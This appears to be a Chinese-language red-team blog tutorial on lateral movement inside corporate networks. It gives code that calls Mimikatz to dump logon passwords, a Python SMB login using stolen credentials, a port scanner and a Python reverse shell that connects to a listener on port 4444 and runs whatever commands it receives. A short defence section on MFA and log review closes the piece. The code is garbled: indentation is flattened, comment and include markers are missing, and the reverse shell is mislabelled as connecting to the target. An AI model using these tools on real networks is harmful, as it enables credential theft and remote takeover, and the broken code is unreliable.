0x01 渗透利器
在内网渗透的过程中,横向移动技术至关重要。它使得攻击者能够从初始感染点扩散到整个网络,最终获得更高的权限和访问更多的资源。从技术上讲,横向移动通常涉及获取凭证、利用共享资源、滥用信任关系等。本文将深入探讨常用的横向移动技术及其实现。
凭证盗取与利用
横向移动的第一步往往是凭证盗取。攻击者可以通过多种方式获取凭证,如内存抓取、钓鱼攻击、键盘记录等。一旦获得凭证,攻击者便可以尝试用这些凭证访问其他系统。以下是一个利用 Windows 的 Mimikatz 工具进行凭证抓取的示例:
<pre><code class="language-c">// 使用 Mimikatz 抓取凭证
include <windows.h>
include <stdio.h>
void fetch_credentials() { // 假设我们已经获取了系统权限 system("mimikatz.exe \"privilege::debug\" \"sekurlsa::logonPasswords\" exit"); }
int main() { fetch_credentials(); return 0; }</code></pre>
口语化注释:这个小程序是个啥?它调用了 Mimikatz 这个神器来提取凭证,前提是你得有系统权限。

利用 SMB 协议共享

在内网中,SMB(Server Message Block)协议几乎无处不在。它用于文件共享、打印机共享等功能。攻击者可以利用 SMB 协议进行横向移动,通过已知的凭证访问其他系统的共享资源。
<pre><code class="language-python">import os import subprocess
def smb_connect(ip, username, password):
用提供的凭证连接到目标机器的 SMB 共享
command = f"net use \\\\{ip}\\IPC$ /user:{username} {password}" subprocess.call(command, shell=True)
演示如何连接到某台机器
smb_connect("192.168.1.100", "admin", "password123")</code></pre>
口语化注释:这个函数帮你用 SMB 连接到目标机器,记得换上你自己的 IP、用户名和密码哦!
探索目标
内网中的目标探索是一个动态过程,需要灵活应对不同的网络环境。攻击者通常会使用端口扫描、服务探测等技术来识别可攻击的目标。下面是一个简单的 Python 端口扫描器示例,用于发现目标机器上开放的端口:
<pre><code class="language-python">import socket
def port_scanner(target_ip):
扫描常见端口,看哪个开着呢?
for port in range(1, 1025): sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM) sock.settimeout(1) result = sock.connect_ex((target_ip, port)) if result == 0: print(f"Port {port} is open!") sock.close()
扫描目标 IP
port_scanner("192.168.1.100")</code></pre>
口语化注释:这段代码会跑一趟常见端口,让你知道哪些可以敲门进去。
0x02 实战环境搭建
要进行内网渗透测试,搭建一个模拟环境至关重要。通常包括目标机、控制机和一个中继机。目标机上运行各种服务,控制机用于发起攻击,中继机模拟网络间的信任关系。以下是一个基本环境的描述:
环境配置
- 目标机:安装 Windows Server,开启文件共享、RDP等服务。
- 控制机:运行 Kali Linux,安装必要的攻击工具。
- 中继机:配置为网络路由器,确保目标机和控制机之间的通信。
实战演练

在模拟环境中,攻击者可以进行如下操作:
- 利用 RDP 服务:尝试使用已知的凭证登录目标机。
- 文件共享滥用:使用 SMB 协议在目标机上上传/下载文件。
0x03 Payload构造的艺术
构造有效的 Payload 是横向移动的关键。Payload 必须具备免杀、隐蔽性强等特点。以下是一个简单的 Python reverse shell 示例,它可以用于在目标机上执行远程命令:
<pre><code class="language-python">import socket import subprocess
def reverse_shell(target_ip, target_port):
链接到指定 IP 和端口,然后执行命令
sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM) sock.connect((target_ip, target_port)) sock.send(b"Connection established\n") while True: command = sock.recv(1024) if command.lower() == b"exit": break output = subprocess.Popen(command, shell=True, stdout=subprocess.PIPE, stderr=subprocess.PIPE) sock.send(output.stdout.read()) sock.close()
启动反弹 shell
reverse_shell("192.168.1.100", 4444)</code></pre>
口语化注释:这个反弹 shell 会连到目标 IP 的指定端口,啥命令都能跑。
防御与检测

内网横向移动的防御策略主要包括:
凭证保护
- 定期检查凭证存储:使用工具扫描内存中的凭证是否被泄露。
- 启用 MFA:多因素认证能有效降低凭证被盗后的风险。
网络监控
- 流量分析:识别异常流量,尤其是大量的 SMB 请求。
- 日志审计:定期审查登录日志,发现异常登录活动。
个人经验分享
通过多年的红队经验,我发现横向移动不仅是技术的体现,更是一种策略的应用。有效的内网渗透往往需要结合多种技术手段,针对目标网络的具体情况量身定制。特别是在面对复杂的企业网络时,灵活应用各种工具和技术至关重要。同时,技术的迅速变化也要求我们时刻保持敏锐,不断学习和探索新的攻击手段。
总结起来,内网渗透横向移动不仅是技术的比拼,更是策略与耐心的较量。希望这篇文章能为你提供一些实战的灵感和思路。继续钻研,你会发现其中的乐趣无穷。